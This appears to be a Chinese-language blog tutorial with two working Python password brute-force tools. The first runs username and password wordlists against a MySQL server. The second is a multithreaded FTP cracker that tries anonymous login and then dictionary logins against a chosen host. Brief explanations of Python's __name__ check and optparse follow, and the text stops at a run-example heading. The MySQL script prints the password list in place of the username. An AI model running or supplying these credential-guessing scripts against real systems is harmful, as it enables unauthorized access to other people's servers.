環境:python 3.6.7
MySQL 數據庫暴力破解代碼
# -*- coding: utf-8 -*-
import pymysql
success = False
f_user = open('username.txt', 'r')
f_pwd = open('password.txt', 'r')
lines_user = f_user.readlines() #讀取出來是一個列表
lines_pwd = f_pwd.readlines()
for user in range(0, len(lines_user)): #遍歷用戶名列表
for pwd in range(0, len(lines_pwd)): #遍歷密碼列表
try:
db = pymysql.Connect(
host = 'localhost',
port = 3306,
user = lines_user[user].rstrip(),
passwd = lines_pwd[pwd].rstrip(),
)
success = True
if success:
print("用戶名:" + lines_pwd[user].rstrip() + " " + "密碼:"+ lines_pwd[pwd].rstrip() + " " + "破解成功")
success = False
except:
print(lines_user[user].rstrip() + " " + lines_pwd[pwd].rstrip() + " " + "破解失敗")
pass
f_user.close()
f_pwd.close()
FTP 服務器暴力破解代碼
# -*- coding: utf-8 -*-
'''
使用方法,如:python crack_ftp.py -H 10.10.10.130 -U username.txt -P password.txt
'''
import optparse
import ftplib
import threading
import socket
def anonyLogin(host): #匿名登錄
try:
ftp = ftplib.FTP(host) #連接 FTP 服務器
ftp.connect(host, 21, timeout = 10) #確定 FTP 服務器的地址、端口號和超時時間
ftp.login('', '') #匿名登錄
ftp.retrlines('LIST') #顯示 FTP 服務器中文件的信息列表
ftp.quit() #退出 FTP
print('\n[*]' + str(host) + 'FTP Anonymous Login Succeeded.')
except Exception as e:
print('\n[-]' + str(host) + 'FTP Anonymous Login Failed.')
def ftpLogin(host, username, password): #賬號密碼登錄
try:
print('[-] Trying: ' + username + '/' + password)
ftp = ftplib.FTP(host) #連接 FTP 服務器
ftp.connect(host, 21, timeout = 10)
ftp.login(username, password)
ftp.retrlines('LIST')
ftp.quit()
print('Success!!!' + ' ' + 'username: ' + username + ' ' + 'password: ' + password)
except ftplib.all_errors:
pass
def Crack(host, userFile, pwdFile): #用賬號密碼字典進行暴力破解
file_user = open('username.txt', 'r')
file_pwd = open('password.txt', 'r')
for user in file_user.readlines(): #遍歷用戶名字典
file_pwd.seek(0) #重置 file_pwd 文件的指針位置,此處爲指向頭,即從頭開始遍歷
for pwd in file_pwd.readlines(): #遍歷密碼字典
username = user.strip('\n') #過濾換行符
password = pwd.strip('\n')
#用多線程加快破解速度
t = threading.Thread(target = ftpLogin, args = (host, username, password))
t.start()
def main(): #主函數
parser = optparse.OptionParser()
parser.add_option('-H', dest = 'host', type = 'string', help = 'speclify the host')
parser.add_option('-U', dest = 'userDic', type = 'string', help = 'specify the dictionary for user')
parser.add_option('-P', dest = 'pwdDic', type = 'string', help = 'specify the dictionary for password')
(options, args) = parser.parse_args() #獲取參數
host = options.host
userDic = options.userDic
pwdDic = options.pwdDic
try:
host = socket.gethostbyname(host) #若傳入的是主機名,則將其轉爲 IP 地址
except:
print("[-] Cannot Resolve '%s': Unknown host" %host)
anonyLogin(host) #先嚐試是否可以匿名登錄
Crack(host, userDic, pwdDic) #用賬號密碼字典進行暴力破解
if __name__ == '__main__':
main()
關於代碼的一些解釋
① if __name__ == '__main__'
由於每個python模塊(python文件)都包含內置的變量__name__,當運行模塊被執行的時候,__name__等於文件名(包含了後綴.py)。
如果import到其他模塊中,則__name__等於模塊名稱(不包含後綴.py)。
而“main”等於當前執行文件的名稱(包含了後綴.py)。
所以當模塊被直接執行時,name == 'main’結果爲真;
而當模塊被import到其他模塊中時,name == 'main’結果爲假,就是不調用對應的方法。
簡而言之就是:name 是當前模塊名,當模塊被直接運行時模塊名爲 main 。當模塊被直接運行時,代碼將被運行,當模塊是被導入時,代碼不被運行。
② parser.add_option()
add_option()參數說明:
- action:存儲方式,分爲三種store、store_false、store_true
- type:類型
- dest:存儲的變量
- default:默認值
- help:幫助信息
運行示例: